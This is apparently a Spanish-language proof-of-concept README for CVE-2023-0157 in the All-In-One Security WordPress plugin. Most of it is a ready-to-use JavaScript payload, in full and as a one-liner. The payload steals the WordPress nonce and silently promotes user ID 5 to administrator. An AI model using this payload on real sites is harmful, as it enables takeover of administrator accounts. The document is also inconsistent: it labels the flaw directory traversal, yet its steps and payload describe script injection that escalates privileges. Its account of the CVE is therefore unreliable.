
Repositorio para la vulnerabilidad CVE-2023-0157.
ID de CVE: CVE-2023-0157
Tipo de Vulnerabilidad: Directory Traversal
Descripción: El plugin All-In-One Security (AIOS) para WordPress es vulnerable a directory traversal en versiones hasta la 5.1.4 inclusive. Esto permite a atacantes autenticados con permisos de administrador leer el contenido de archivos arbitrarios en el servidor.
Pasos para reproducir:
Simplemente crea un archivo test.pdf con contenido JavaScript (necesariamente en una línea) y muestra el archivo en los registros del sistema Host.
Un ejemplo de un payload JavaScript que aumenta los privilegios de un usuario con ID 5
<script>
fetch("https://<host>/wp-admin/users.php?update=promote")
.then(function(response) {
return response.text()
})
.then(function(html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
return doc.querySelector("#_wpnonce").value;
})
.then(function(nonce) {
fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator")
.then(function(response) {
console.log(response.text());
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
</script>
Oneliner:
fetch("https://<host>/wp-admin/users.php?update=promote").then(function(response) {return response.text()}).then(function(html) {var parser = new DOMParser();var doc = parser.parseFromString(html, "text/html");return doc.querySelector("#_wpnonce").value;}).then(function(nonce) {fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator").then(function(response) {console.log(response.text());}).catch(function(err) {console.log('Failed to fetch page: ', err); });}).catch(function(err) {console.log('Failed to fetch page: ', err);});
Reemplaza los valores con los signos <>.
Referencia: